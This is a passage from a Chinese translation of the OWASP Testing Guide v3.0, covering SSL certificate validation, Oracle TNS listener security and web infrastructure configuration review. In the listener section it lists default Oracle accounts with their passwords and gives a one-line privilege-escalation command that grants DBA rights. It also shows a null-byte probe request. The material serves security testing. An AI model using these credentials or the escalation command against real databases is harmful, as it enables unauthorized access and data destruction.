用 https 服 务 , 等 等 )。 因 此 , 需 要 检 查 所 有 已 发 现 的 SSL 封 装 的 端 口 。 例 如 ,Nmap 扫 描 器 具 有 的 扫 描 模 式 ( 启 用<br />

由 –sV 命 令 行 开 关 ) 可 以 确 定 SSL 封 装 的 服 务 。Nessus 的 漏 洞 扫 描 器 可 以 对 所 有 SSL/TLS 封 装 的 服 务 进 行 SSL 检<br />

查 。<br />

实 例<br />

我 们 插 入 了 现 实 生 活 中 的 一 个 匿 名 例 子 而 不 是 一 个 虚 构 的 例 子 来 着 重 说 明 遇 到 https 网 站 的 证 书 命 名 不 准 确 会 有 多<br />

频 繁 。 下 面 的 截 图 就 涉 及 一 个 行 事 高 调 的 IT 公 司 的 一 个 地 区 网 站 。 它 是 由 Microsoft Internet Explorer 发 出 的<br />

85


警 告 。 我 们 正 在 访 问 一 个 .it 的 网 站 , 而 证 书 是 颁 发 给 .com 的 网 站 的 !Internet Explorer 警 告 说 , 该 网 站 与 证 书<br />

上 的 名 称 不 相 符 。<br />

Mozilla Firefox 浏 览 器 发 出 的 警 告 。Firefox 发 出 的 信 息 是 不 同 的 。Firefox 回 应 , 因 为 它 无 法 确 定 证 书 所 涉 及<br />

的 .com 网 站 的 身 份 , 因 为 它 不 知 道 签 署 证 书 的 CA。 事 实 上 ,Internet Explorer 和 Firefox 预 装 了 不 同 的 CA 清<br />

单 。 因 此 , 各 种 浏 览 器 的 反 应 可 能 不 同 。<br />

白 盒 测 试 和 实 例<br />

86


OWASP 测 试 指 南 v3.0<br />

在 服 务 器 和 客 户 端 的 层 面 检 查 应 用 程 序 所 使 用 的 证 书 的 有 效 性 。 证 书 的 使 用 主 要 是 在 Web 服 务 器 的 层 面 ; 然 而 , 可<br />

能 会 有 其 它 受 SSL 保 护 的 通 信 途 径 ( 例 如 , 对 数 据 库 管 理 系 统 )。 您 应 该 检 查 应 用 程 序 的 体 系 结 构 , 来 找 出 所 有 的<br />

由 SSL 保 护 的 渠 道 。<br />

参 考 目 录<br />

白 皮 书<br />

• [1] RFC2246. The TLS Protocol Version 1.0 (updated by RFC3546) - http://www.ietf.org/rfc/rfc2246.txt<br />

• [2] RFC2817. Upgrading to TLS Within HTTP/1.1 - http://www.ietf.org/rfc/rfc2817.txt<br />

• [3] RFC3546. Transport Layer Security (TLS) Extensions - http://www.ietf.org/rfc/rfc3546.txt<br />

• [4] www.verisign.net features various material on the topic<br />

工 具<br />

• Vulnerability scanners may include checks regarding certificate validity, including name mismatch and<br />

time expiration. They also usually report other information, such as the CA which issued the certificate.<br />

Remember, however, that there is no unified notion of a “trusted CA”; what is trusted depends on the<br />

configuration of the software and on the human assumptions made beforehand. Browsers come with a<br />

preloaded list of trusted CA. If your web application rely on a CA which is not in this list (for<br />

example, because you rely on a self-made CA), you should take into account the process of configuring<br />

user browsers to recognize the CA.<br />

• The Nessus scanner includes a plugin to check for expired certificates or certificates which are going<br />

to expire within 60 days (plugin “SSL certificate expiry”, plugin id 15901). This plugin will check<br />

certificates installed on the server.<br />

• Vulnerability scanners may include checks against weak ciphers. For example, the Nessus scanner<br />

(http://www.nessus.org) has this capability and flags the presence of SSL weak ciphers (see example<br />

provided above).<br />

• You may also rely on specialized tools such as SSL Digger<br />

(http://www.foundstone.com/resources/proddesc/ssldigger.htm), or – for the command line oriented –<br />

experiment with the openssl tool, which provides access to OpenSSL cryptographic functions directly from<br />

a Unix shell (may be already available on *nix boxes, otherwise see www.openssl.org).<br />

• To identify SSL-based services, use a vulnerability scanner or a port scanner with service recognition<br />

capabilities. The nmap scanner features a “-sV” scanning option which tries to identify services,<br />

while the Nessus vulnerability scanner has the capability of identifying SSL-based services on arbitrary<br />

ports and to run vulnerability checks on them regardless of whether they are configured on standard or<br />

non-standard ports.<br />

• In case you need to talk to a SSL service but your favourite tool doesn’t support SSL, you may benefit<br />

from a SSL proxy such as stunnel; stunnel will take care of tunnelling the underlying protocol (usually<br />

http, but not necessarily so) and communicate with the SSL service you need to reach.<br />

• Finally, a word of advice. Though it may be tempting to use a regular browser to check certificates,<br />

there are various reasons for not doing so. Browsers have been plagued by various bugs in this area, and<br />

the way the browser will perform the check might be influenced by configuration settings that may not be<br />

always evident. Instead, rely on vulnerability scanners or on specialized tools to do the job.<br />

87


4.3.2 数 据 库 监 听 测 试 (OWASP-CM-002)<br />

概 述<br />

数 据 库 监 听 是 Oracle 数 据 库 独 有 的 网 络 后 台 程 序 。 它 从 远 程 客 户 处 获 取 链 接 请 求 。 这 个 后 台 程 序 可 能 会 遭 攻 击 而 因<br />

此 影 响 数 据 库 的 有 效 性 。<br />

问 题 描 述<br />

数 据 库 监 听 器 是 远 程 链 接 Oracle 数 据 库 的 一 个 入 口 点 。 它 监 听 连 接 请 求 并 进 行 相 应 的 处 理 。 如 果 测 试 者 能 从 内 联 网<br />

( 大 多 数 的 Oracle 安 装 都 不 会 提 供 这 个 服 务 给 外 部 网 络 ) 访 问 到 该 服 务 , 这 个 测 试 就 有 可 能 实 现 。 监 听 器 缺 省 的 监<br />

听 端 口 是 1521( 端 口 2483 是 TNS 监 听 器 新 的 官 方 注 册 端 口 ; 端 口 2484 是 TNS 监 听 器 使 用 SSL 的 端 口 )。 比 较 好 的<br />

做 法 是 将 监 听 器 从 这 个 端 口 转 移 到 其 它 任 意 的 端 口 。 如 果 监 听 器 被 “ 关 闭 ”, 就 不 可 能 远 程 访 问 数 据 库 。 如 果 是 这<br />

种 情 况 , 那 幺 应 用 程 序 也 就 失 效 了 , 也 就 形 成 了 一 个 拒 绝 服 务 攻 击 。<br />

攻 击 的 潜 在 范 围 :<br />

• 停 止 监 听 器 —— 建 立 DoS 攻 击<br />

• 设 立 密 码 来 阻 止 其 它 人 控 制 监 听 器 —— DB 劫 持<br />

• 将 记 录 和 日 志 写 到 tnslnsr 的 主 进 程 ( 通 常 是 Oracle) 可 访 问 的 任 何 一 个 文 件 —— 信 息 泄 露<br />

• 获 取 监 听 器 、 数 据 库 和 应 用 程 序 配 置 中 的 详 细 信 息<br />

黑 盒 测 试 实 例<br />

一 旦 发 现 监 听 器 所 在 的 端 口 , 通 过 运 行 由 Integrigy 开 发 的 工 具 就 可 以 访 问 到 监 听 器 .<br />

88


OWASP 测 试 指 南 v3.0<br />

上 述 检 查 的 工 具 如 下 :<br />

上 述 工 具 会 检 查 如 下 信 息 :<br />

监 听 器 密 码 。 在 许 多 Oracle 系 统 中 , 可 能 没 有 设 置 监 听 器 密 码 。 上 述 工 具 会 验 证 这 一 情 况 。 如 果 没 有 设 置 密 码 ,<br />

攻 击 者 可 以 设 定 密 码 , 并 劫 持 监 听 器 , 尽 管 可 以 通 过 本 地 编 辑 Listener.ora 文 件 删 除 密 码 。<br />

启 用 日 志 记 录 。 上 述 工 具 还 测 试 是 否 已 启 用 日 志 记 录 。 如 果 还 没 有 , 就 不 能 检 测 到 或 记 录 到 监 听 器 的 任 何 改 变 。 此<br />

外 , 也 不 能 审 查 到 监 听 器 上 的 暴 力 破 解 攻 击 。<br />

管 理 限 制 。 如 果 管 理 限 制 未 启 用 , 可 以 远 程 使 用 “SET” 命 令 。<br />

例 : 如 果 你 在 服 务 器 上 找 到 一 个 TCP/1521 开 放 端 口 , 你 的 Oracle 监 听 器 就 可 以 接 收 外 部 连 接 。 如 果 监 听 器<br />

没 有 受 验 证 机 制 保 护 , 或 者 如 果 你 能 很 容 易 地 找 到 凭 证 , 就 有 可 能 利 用 这 个 漏 洞 来 例 举 Oracle 服 务 。 例 如 , 使 用<br />

LSNRCTL(.exe)( 包 含 在 每 个 Oracle 客 户 端 安 装 程 序 中 ), 你 就 能 获 得 如 下 的 输 出 :<br />

TNSLSNR for 32-bit Windows: Version 9.2.0.4.0 - Production<br />

TNS for 32-bit Windows: Version 9.2.0.4.0 - Production<br />

Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production<br />

Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production<br />

Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production,,<br />

SID(s): SERVICE_NAME = CONFDATA<br />

SID(s): INSTANCE_NAME = CONFDATA<br />

SID(s): SERVICE_NAME = CONFDATAPDB<br />

SID(s): INSTANCE_NAME = CONFDATA<br />

SID(s): SERVICE_NAME = CONFORGANIZ<br />

SID(s): INSTANCE_NAME = CONFORGANIZ<br />

Oracle 监 听 器 允 许 例 举 Oracle 服 务 器 上 的 默 认 用 户 :<br />

89


User name<br />

OUTLN<br />

DBSNMP<br />

BACKUP<br />

MONITOR<br />

PDB<br />

Password<br />

OUTLN<br />

DBSNMP<br />

BACKUP<br />

MONITOR<br />

CHANGE_ON_INSTALL<br />

在 这 个 例 子 中 , 我 们 没 有 建 立 的 特 权 的 DBA 账 户 , 但 是 OUTLN 和 BACKUP 账 户 拥 有 一 个 基 本 特 权 :EXECUTE ANY<br />

PROCEDURE。 也 就 是 能 执 行 任 何 程 序 , 下 面 就 是 例 子 :<br />

exec dbms_repcat_admin.grant_admin_any_schema('BACKUP');<br />

这 个 命 令 的 执 行 允 许 某 人 获 得 DBA 特 权 。 现 在 用 户 就 可 以 直 接 与 DB 进 行 交 互 并 执 行 命 令 了 , 如 :<br />

select * from session_privs ;<br />

输 出 的 是 下 面 的 截 屏 :<br />

所 以 用 户 现 在 能 执 行 许 多 操 作 , 特 别 是 :DELETE ANY TABLE 和 DROP ANY TABLE<br />

监 听 缺 省 端 口<br />

在 Oracle 服 务 器 的 排 查 阶 段 , 可 能 会 发 现 以 下 端 口 。 下 面 是 缺 省 端 口 的 清 单 :<br />

1521: Default port for the TNS Listener.<br />

1522 – 1540: Commonly used ports for the TNS Listener<br />

1575: Default port for the Oracle Names Server<br />

1630: Default port for the Oracle Connection Manager – client connections<br />

90


OWASP 测 试 指 南 v3.0<br />

1830: Default port for the Oracle Connection Manager – admin connections<br />

2481: Default port for Oracle JServer/Java VM listener<br />

2482: Default port for Oracle JServer/Java VM listener using SSL<br />

2483: New port for the TNS Listener<br />

2484: New port for the TNS Listener using SSL<br />

灰 盒 测 试 实 例<br />

监 听 器 权 限 限 制 测 试<br />

给 监 听 器 最 少 的 权 限 很 重 要 , 这 样 它 在 数 据 库 或 服 务 器 内 存 地 址 空 间 中 就 不 能 读 写 文 件 。<br />

Listener.ora 文 件 被 用 来 定 义 数 据 库 监 听 器 属 性 。 我 们 必 须 确 认 下 面 的 内 容 出 现 在 Listener.ora 文 件 中 :<br />

ADMIN_RESTRICTIONS_LISTENER=ON<br />

监 听 器 密 码 :<br />

许 多 常 见 的 攻 击 就 是 由 于 监 听 器 密 码 没 有 设 置 。 通 过 检 查 Listener.ora 文 件 , 我 们 能 确 定 密 码 是 否 已 经 设 置 。<br />

可 以 通 过 编 辑 Listener.ora 文 件 手 动 设 置 密 码 。 按 照 如 下 编 辑 :PASSWORDS_。 这 种 手 动 方 法 是 让 密<br />

码 存 储 在 纯 文 本 中 , 能 让 访 问 Listener.ora 的 任 何 人 读 取 密 码 。 更 安 全 的 方 法 是 使 用 LSNRCTRL 工 具 调 用<br />

change_password 命 令 。<br />

LSNRCTL for 32-bit Windows: Version 9.2.0.1.0 - Production on 24-FEB-2004 11:27:55<br />

Copyright (c) 1991, 2002, Oracle Corporation. All rights reserved.<br />

Welcome to LSNRCTL, type "help" for information.<br />

LSNRCTL> set current_listener listener<br />

Current Listener is listener<br />

LSNRCTL> change_password<br />

Old password:<br />

New password:<br />

Re-enter new password:<br />

Connecting to <br />

Password changed for listener<br />

The command completed successfully<br />

LSNRCTL> set password<br />

Password:<br />

The command completed successfully<br />

LSNRCTL> save_config<br />

Connecting to <br />

Saved LISTENER configuration parameters.<br />

Listener Parameter File D:\oracle\ora90\network\admin\listener.ora<br />

Old Parameter File D:\oracle\ora90\network\admin\listener.bak<br />

The command completed successfully<br />

LSNRCTL><br />

参 考<br />

白 皮 书<br />

91


• Oracle Database Listener Security Guide - http://www.integrigy.com/securityresources/whitepapers/Integrigy_Oracle_Listener_TNS_Security.pdf<br />

工 具<br />

• TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html<br />

• Toad for Oracle - http://www.quest.com/toad<br />

4.3.3 基 础 结 构 配 置 管 理 测 试 (OWASP-CM-003)<br />

摘 要<br />

相 互 联 系 的 混 杂 的 Web 服 务 器 基 础 结 构 能 有 数 以 百 计 的 web 应 用 程 序 , 这 种 固 有 的 复 杂 性 使 配 置 管 理 和 审 查 成 为<br />

测 试 和 部 署 每 一 个 应 用 程 序 中 的 一 个 基 本 步 骤 。 事 实 上 一 个 漏 洞 就 能 破 坏 整 个 基 础 结 构 的 安 全 , 甚 至 某 些 微 小 且<br />

( 几 乎 ) 不 重 要 的 问 题 可 能 对 于 相 同 服 务 器 上 的 另 外 一 个 应 用 程 序 是 个 严 重 的 威 胁 。 为 了 解 决 这 些 问 题 , 对 配 置 和<br />

已 知 安 全 问 题 执 行 深 入 审 查 是 非 常 重 要 的 。<br />

问 题 描 述<br />

对 Web 服 务 器 基 础 结 构 进 行 适 当 配 置 管 理 对 于 维 护 应 用 程 序 本 身 的 安 全 是 非 常 重 要 。 如 果 像 Web 服 务 器 软 件 , 后 端<br />

数 据 库 服 务 器 , 或 身 份 验 证 服 务 器 这 些 基 础 单 元 没 有 经 过 适 当 的 审 查 和 安 全 检 测 , 就 可 能 引 入 不 该 出 现 的 风 险 或 引<br />

入 新 的 安 全 漏 洞 , 从 而 可 能 损 害 应 用 程 序 本 身 。<br />

例 如 ,Web 服 务 器 安 全 漏 洞 可 能 导 致 远 程 攻 击 者 揭 露 应 用 程 序 本 身 的 源 代 码 ( 这 个 安 全 漏 洞 在 Web 服 务 器 或 应 用 服<br />

务 器 出 现 了 很 多 次 ) 从 而 损 害 应 用 程 序 , 因 为 匿 名 用 户 可 以 使 用 泄 露 的 源 代 码 中 的 信 息 攻 击 应 用 程 序 或 用 户 。<br />

为 了 测 试 配 置 管 理 的 基 础 结 构 , 需 按 以 下 步 骤 :<br />

• 构 成 基 础 结 构 的 不 同 单 元 需 要 加 以 确 定 , 以 便 了 解 它 们 如 何 与 一 个 Web 应 用 程 序 交 互 , 以 及 它 们 如 何 影 响<br />

其 安 全 性 。<br />

• 所 有 基 础 结 构 单 元 需 要 加 以 审 查 , 以 确 保 他 们 不 会 存 在 任 何 已 知 的 漏 洞 。<br />

• 审 查 需 由 用 来 维 护 所 有 不 同 单 元 的 管 理 工 具 组 成 。<br />

• 验 证 系 统 , 如 果 有 的 话 , 需 要 审 查 , 以 确 保 他 们 能 满 足 应 用 程 序 的 需 求 , 并 且 确 保 他 们 不 被 外 部 用 户 操 控<br />

访 问 。<br />

• 应 用 程 序 所 要 求 定 义 的 端 口 清 单 的 维 护 和 保 存 应 当 在 变 更 控 制 器 中 进 行 。<br />

黑 盒 测 试 实 例<br />

应 用 程 序 体 系 结 构 审 查<br />

92


OWASP 测 试 指 南 v3.0<br />

应 用 程 序 的 体 系 结 构 需 要 通 过 测 试 审 查 , 以 确 定 用 来 构 建 Web 应 用 程 序 的 不 同 的 组 成 部 分 。 在 小 型 系 统 中 , 如 一 个<br />

简 单 的 CGI 应 用 程 序 , 单 台 服 务 器 可 能 被 用 来 运 行 Web 服 务 器 , 它 执 行 C,Perl, 或 Shell CGIs 应 用 , 也 有 可 能 执<br />

行 验 证 机 制 。 在 复 杂 的 系 统 中 , 如 在 线 银 行 系 统 , 就 可 能 由 多 台 服 务 器 参 与 , 包 括 : 反 向 代 理 , 前 端 Web 服 务 器 ,<br />

应 用 程 序 服 务 器 和 数 据 库 服 务 器 或 LDAP 服 务 器 。 所 有 这 些 服 务 器 将 被 用 于 不 同 的 目 的 , 甚 至 可 能 会 分 成 不 同 的 网<br />

络 。 它 们 之 间 有 防 火 墙 设 备 , 构 建 不 同 的 DMZ, 以 便 访 问 Web 服 务 器 时 不 会 给 远 程 用 户 访 问 身 份 验 证 机 制 本 身 的 权<br />

限 , 从 而 使 基 础 架 构 不 同 组 成 部 分 的 缺 陷 被 孤 立 , 也 就 不 会 对 整 个 体 系 结 构 造 成 影 响 。<br />

如 果 应 用 程 序 开 发 人 员 以 文 件 或 面 谈 形 式 告 诉 了 测 试 团 队 应 用 程 序 体 系 结 构 的 相 关 信 息 , 则 要 掌 握 这 些 知 识 很 容<br />

易 。 但 是 通 过 盲 目 的 渗 透 测 试 却 很 难 得 到 相 关 知 识 。<br />

在 后 一 种 情 况 下 , 测 试 者 首 先 需 要 假 设 这 是 一 个 简 单 的 系 统 ( 单 台 服 务 器 ), 并 通 过 从 其 它 测 试 得 到 的 信 息 来 得 出<br />

不 同 的 组 成 单 元 来 推 倒 假 设 并 对 体 系 结 构 的 假 设 进 行 扩 充 。 测 试 者 可 以 通 过 问 简 单 的 问 题 开 始 测 试 , 如 : “ 是 否 有<br />

防 火 墙 系 统 保 护 Web 服 务 器 ?” 答 案 来 自 于 基 于 针 对 web 服 务 器 的 网 络 扫 描 结 果 和 分 析 结 果 , 主 要 分 析 包 括 web 服<br />

务 器 的 网 络 端 口 是 否 被 网 络 终 端 过 滤 ( 没 有 应 答 或 应 答 是 ICMP unreachables), 该 服 务 器 是 否 直 接 连 接 到<br />

Internet( 即 为 对 非 监 听 端 口 返 回 RST 包 )。 为 了 确 定 所 采 用 的 防 火 墙 类 型 , 可 以 基 于 网 络 数 据 包 测 试 来 进 一 步 分<br />

析 : 它 是 状 态 防 火 墙 还 是 一 个 路 由 器 上 的 访 问 列 表 过 滤 器 ? 如 何 配 置 ? 能 否 绕 过 ?<br />

检 测 位 于 Web 服 务 器 前 的 反 向 代 理 需 要 分 析 Web 服 务 器 的 标 识 , 这 可 能 直 接 显 示 是 否 存 在 反 向 代 理 ( 例 如 , 如 果 返<br />

回 'WebShell' [1])。 也 可 以 通 过 获 得 Web 服 务 器 针 对 所 提 出 请 求 的 应 答 与 预 期 应 答 的 比 较 来 确 定 反 向 服 务 器 是 否<br />

存 在 。 例 如 , 有 些 反 向 服 务 器 充 当 “ 入 侵 防 护 系 统 ”( 或 网 盾 ) 来 拦 截 针 对 Web 服 务 器 的 已 知 的 攻 击 。 如 果 我 们 知<br />

道 Web 服 务 器 对 一 个 请 求 回 复 404 信 息 , 而 这 一 请 求 的 目 标 是 未 知 页 面 , 并 针 对 像 CGI 扫 描 器 发 出 的 常 见 的 web 攻<br />

击 返 回 不 同 的 错 误 信 息 , 这 意 味 着 存 在 一 个 反 向 代 理 ( 或 应 用 级 防 火 墙 ), 它 过 滤 了 请 求 并 返 回 与 预 期 不 同 的 错 误<br />

信 息 。 另 一 个 例 子 : 如 果 Web 服 务 器 返 回 了 一 套 可 用 的 HTTP 方 法 ( 包 括 TRACE), 但 方 法 的 预 期 返 回 应 是 错 误 , 那<br />

幺 有 可 能 在 两 者 之 间 存 在 什 幺 阻 止 了 它 们 。 在 某 些 情 况 下 甚 至 保 护 系 统 都 能 阻 止 自 身 的 信 息 :<br />

GET / web-console/ServerInfo.jsp%00 HTTP/1.0<br />

HTTP/1.0 200<br />

Pragma: no-cache<br />

Cache-Control: no-cache<br />

Content-Type: text/html<br />

Content-Length: 83<br />

Error<br />

<br />

Error<br />

FW-1 at XXXXXX: Access denied.<br />

Check Point Firewall-1 NG AI “ 保 护 ”WEB<br />

服 务 器 实 例<br />

反 向 代 理 服 务 器 , 也 称 为 代 理 缓 存 , 用 于 加 速 后 端 应 用 服 务 器 的 性 能 。 检 测 这 些 代 理 同 样 是 基 于 服 务 器 报 头 或 通 过<br />

对 被 服 务 器 缓 存 的 请 求 进 行 计 时 并 比 较 第 一 个 请 求 和 后 续 请 求 所 花 的 时 间 。<br />

另 一 个 要 检 测 的 组 成 单 元 : 网 络 负 载 均 衡 器 。 通 常 , 这 些 系 统 将 基 于 不 同 的 算 法 ( 轮 询 , Web 服 务 器 的 负 荷 , 请 求<br />

数 量 等 ) 平 衡 某 一 特 定 的 TCP / IP 端 口 的 流 量 到 多 个 服 务 器 。 因 此 , 检 测 这 种 体 系 结 构 单 元 需 要 检 验 多 个 请 求 并 比<br />

较 结 果 , 以 便 确 定 请 求 是 否 被 传 送 到 相 同 或 不 同 的 web 服 务 器 以 便 确 定 是 否 要 求 在 相 同 或 不 同 的 Web 服 务 器 。 例<br />

93


如 , 根 据 报 头 日 期 , 如 果 服 务 器 时 钟 不 同 步 的 话 。 在 某 些 情 况 下 , 网 络 负 载 平 衡 进 程 可 能 在 报 头 注 入 新 的 信 息 从 而<br />

更 容 易 确 认 , 如 Nortel’s Alteon WebSystems 负 载 平 衡 器 引 进 的 AlteonP Cookie。<br />

应 用 程 序 Web 服 务 器 通 常 是 很 容 易 检 测 的 。 对 一 些 资 源 的 请 求 是 由 应 用 程 序 服 务 器 本 身 ( 而 不 是 Web 服 务 器 ) 处 理<br />

的 , 并 且 其 响 应 头 有 很 大 差 异 ( 包 括 不 同 的 或 附 加 的 应 答 报 头 )。 另 一 种 方 法 检 测 这 些 是 看 是 否 Web 服 务 器 尝 试 设<br />

置 cookie, 这 是 一 个 应 用 程 序 Web 服 务 器 正 在 被 使 用 的 标 识 ( 如 一 些 J2EE 的 服 务 器 提 供 的 JSESSIONID), 或 自 动<br />

重 写 网 址 来 进 行 会 话 跟 踪 。<br />

后 端 身 份 验 证 程 序 ( 如 LDAP 目 录 , 关 系 型 数 据 库 , 或 RADIUS 服 务 器 ), 从 外 部 的 角 度 来 看 并 不 容 易 用 快 速 方 法 检<br />

测 , 因 为 他 们 将 隐 藏 在 应 用 程 序 本 身 。<br />

通 过 浏 览 一 个 应 用 程 序 就 可 以 简 单 地 确 定 是 否 使 用 后 端 数 据 库 。 如 果 在 运 行 过 程 中 产 生 了 高 动 态 内 容 , 这 些 内 容 很<br />

可 能 是 由 应 用 程 序 本 身 从 某 种 数 据 库 中 提 取 的 。 有 时 请 求 信 息 的 方 式 可 能 可 以 帮 助 检 测 后 端 数 据 库 是 否 存 在 。 例<br />

如 : 当 浏 览 店 内 不 同 商 品 时 , 在 线 购 物 应 用 会 使 用 数 字 标 识 符 (“id”)。 然 而 , 当 进 行 黑 盒 应 用 程 序 测 试 , 只 有<br />

当 应 用 程 序 出 现 漏 洞 并 暴 露 出 来 才 能 判 断 是 否 存 在 后 端 数 据 库 , 如 极 差 的 异 常 处 理 或 易 受 SQL 注 入 。<br />

已 知 的 服 务 器 漏 洞<br />

无 论 是 web 服 务 器 还 是 后 端 数 据 库 , 在 这 些 组 成 应 用 程 序 体 系 结 构 的 不 同 单 元 中 发 现 漏 洞 都 可 能 严 重 损 害 应 用 程 序<br />

本 身 。 例 如 , 一 个 服 务 器 安 全 漏 洞 可 能 允 许 远 程 的 未 经 授 权 的 用 户 将 文 件 上 传 到 Web 服 务 器 , 甚 至 替 换 文 件 。 此<br />

漏 洞 可 能 危 害 整 个 应 用 程 序 , 因 为 流 氓 用 户 可 能 取 代 应 用 程 序 本 身 或 引 入 能 影 响 后 端 服 务 器 的 代 码 , 从 而 使 这 些 代<br />

码 就 如 同 其 它 程 序 一 样 得 到 运 行 。<br />

通 过 黑 盒 渗 透 测 试 很 难 对 服 务 器 漏 洞 进 行 检 查 。 在 这 种 情 况 下 , 通 常 使 用 自 动 化 工 具 从 远 程 站 点 测 试 漏 洞 。 然 而 ,<br />

对 一 些 漏 洞 的 检 测 会 对 web 服 务 器 产 生 不 可 预 知 的 影 响 。 同 时 由 测 试 成 功 而 引 起 的 服 务 器 宕 机 可 能 导 致 对 其 它 漏 洞<br />

( 如 直 接 涉 及 到 拒 绝 服 务 攻 击 的 漏 洞 ) 的 测 试 不 能 实 现 。 此 外 , 一 些 自 动 化 工 具 是 基 于 所 检 测 的 web 服 务 器 版 本 通<br />

报 漏 洞 的 。 这 就 导 致 误 报 和 漏 报 : 一 方 面 , 如 果 本 地 网 站 管 理 员 删 除 或 掩 藏 了 web 服 务 器 版 本 , 自 动 扫 描 工 具 就 不<br />

能 将 存 在 漏 洞 的 服 务 器 标 识 出 来 ; 另 一 方 面 , 如 果 软 件 提 供 商 在 修 补 漏 洞 后 并 没 有 更 新 服 务 器 版 本 , 扫 描 器 会 将 不<br />

存 在 漏 洞 的 服 务 器 标 识 出 来 。 第 二 种 情 况 在 操 作 系 统 提 供 商 中 常 出 现 , 他 们 对 他 们 所 提 供 的 操 作 系 统 中 安 装 安 全 漏<br />

洞 backport 补 丁 , 但 是 并 不 提 供 最 新 软 件 版 本 的 完 整 下 载 。 这 一 情 况 在 大 多 数 GNU/Linux 分 销 商 中 存 在 , 如<br />

Debian, Red Hat 或 Suse 。 在 大 多 数 情 况 下 , 应 用 程 序 体 系 结 构 漏 洞 扫 描 只 会 发 现 与 体 系 结 构 中 “ 暴 露 ” 单 元 相 关<br />

的 漏 洞 ( 如 Web 服 务 器 ), 而 通 常 将 无 法 找 到 与 不 直 接 暴 露 单 元 有 关 的 安 全 漏 洞 , 如 后 端 身 份 验 证 程 序 , 后 端 数<br />

据 库 或 使 用 中 的 反 向 代 理 服 务 器 。<br />

最 后 , 并 非 所 有 的 软 件 供 应 商 都 以 公 开 的 方 式 发 现 漏 洞 。 因 此 , 这 些 弱 点 不 会 在 公 开 的 已 知 的 漏 洞 数 据 库 中 注 册 [ 2<br />

] 。 这 些 漏 洞 信 息 只 会 对 客 户 公 布 或 通 过 安 装 时 发 布 , 并 不 提 供 相 关 资 讯 。 这 就 减 少 了 漏 洞 扫 描 工 具 的 有 效 性 。 通<br />

常 , 这 些 工 具 的 漏 洞 覆 盖 情 况 对 普 通 产 品 是 有 效 的 ( 如 Apache Web 服 务 器 , 微 软 的 Internet Information Server , 或<br />

IBM 的 Lotus Domino ), 但 对 鲜 为 人 知 的 产 品 是 不 够 的 。<br />

这 就 是 为 什 幺 审 查 漏 洞 最 好 是 当 测 试 者 得 知 所 使 用 软 件 的 内 部 信 息 时 进 行 , 这 些 内 部 信 息 包 括 版 本 号 和 使 用 的 发 布<br />

版 本 以 及 适 用 于 软 件 的 补 丁 。 有 了 这 一 信 息 , 测 试 者 可 从 供 应 商 本 身 得 到 信 息 分 析 可 能 在 体 系 结 构 中 出 现 的 漏 洞 及<br />

它 们 如 何 影 响 应 用 程 序 本 身 。 如 果 可 能 的 话 , 测 试 这 些 漏 洞 , 以 确 定 其 真 正 的 影 响 , 并 检 测 是 否 有 任 何 可 以 减 少 或<br />

94


OWASP 测 试 指 南 v3.0<br />

消 除 漏 洞 被 成 功 利 用 可 能 性 的 外 部 单 元 ( 如 入 侵 检 测 或 预 防 系 统 )。 测 试 者 甚 至 可 以 通 过 配 置 审 查 判 定 漏 洞 并 不 存<br />

在 , 因 为 该 漏 洞 影 响 的 软 件 组 件 未 被 使 用 。<br />

值 得 注 意 的 是 , 软 件 供 应 商 有 时 会 悄 悄 修 复 漏 洞 , 并 在 新 发 行 的 软 件 版 本 中 提 供 。 不 同 的 厂 商 会 有 不 同 的 发 布 周<br />

期 , 其 决 定 了 他 们 对 老 版 本 的 支 持 程 度 。 拥 有 体 系 结 构 的 详 细 软 件 版 本 信 息 的 测 试 者 能 分 析 使 用 老 版 本 所 带 来 的 风<br />

险 , 因 为 老 版 本 可 能 在 短 期 后 得 不 到 支 持 或 者 已 经 不 支 持 了 。 这 一 点 至 关 重 要 , 因 为 如 果 漏 洞 在 不 被 支 持 的 老 版 本<br />

暴 露 出 来 , 该 系 统 的 工 作 人 员 可 能 不 会 直 接 意 识 到 这 一 点 。 同 时 没 有 可 安 装 的 补 丁 , 咨 询 顾 问 也 不 会 报 告 这 一 点<br />

( 因 为 它 已 不 受 支 持 )。 即 使 工 作 人 员 意 识 到 漏 洞 存 在 , 并 得 知 系 统 确 实 是 易 受 攻 击 的 , 而 他 们 需 要 全 面 升 级 到 最<br />

新 发 布 的 版 本 , 这 可 能 导 致 应 用 程 序 系 统 相 当 长 的 宕 机 或 导 致 应 用 程 序 由 于 与 最 新 软 件 版 本 不 兼 容 而 需 重 新 编 码 。<br />

管 理 工 具<br />

任 何 Web 服 务 器 的 基 础 结 构 都 需 要 有 管 理 工 具 维 护 和 更 新 应 用 程 序 所 使 用 的 信 息 : 静 态 内 容 ( 网 页 , 图 片 文 件 ),<br />

应 用 程 序 的 源 代 码 , 用 户 认 证 数 据 库 等 。 根 据 网 站 , 技 术 或 使 用 的 软 件 的 不 同 情 况 , 管 理 工 具 会 有 所 不 同 。 例 如 ,<br />

一 些 Web 服 务 器 将 使 用 管 理 接 口 管 理 , 包 括 自 身 ,Web 服 务 器 一 些 网 络 服 务 器 将 使 用 管 理 接 口 管 理 , 它 们 自 身 就 是<br />

网 络 服 务 器 ( 如 iPlanet Web 服 务 器 ), 或 由 纯 文 本 配 置 文 件 管 理 ( 在 Apache 的 情 况 下 [3]) 或 使 用 操 作 系 统 GUI<br />

工 具 ( 当 使 用 微 软 的 IIS 服 务 器 或 ASP.Net 时 )。 然 而 在 大 多 数 情 况 下 , 服 务 器 配 置 将 使 用 不 同 的 工 具 处 理 而 不 仅<br />

是 对 Web 服 务 器 使 用 的 档 案 进 行 维 护 , 它 们 通 过 FTP 服 务 器 , WebDAV, 网 络 文 件 系 统 (NFS,CIFS) 或 其 它 机 制 进<br />

行 管 理 。 显 然 , 构 成 应 用 程 序 体 系 结 构 各 元 素 的 操 作 系 统 也 将 利 用 其 它 工 具 管 理 。 应 用 程 序 也 可 以 在 其 中 嵌 入 管 理<br />

接 口 , 用 于 管 理 应 用 程 序 数 据 本 身 ( 用 户 , 内 容 等 ) 。<br />

对 用 于 管 理 体 系 结 构 不 同 部 分 的 管 理 接 口 进 行 审 查 是 非 常 重 要 的 , 因 为 如 果 一 个 攻 击 者 可 以 访 问 任 何 一 个 接 口 , 他<br />

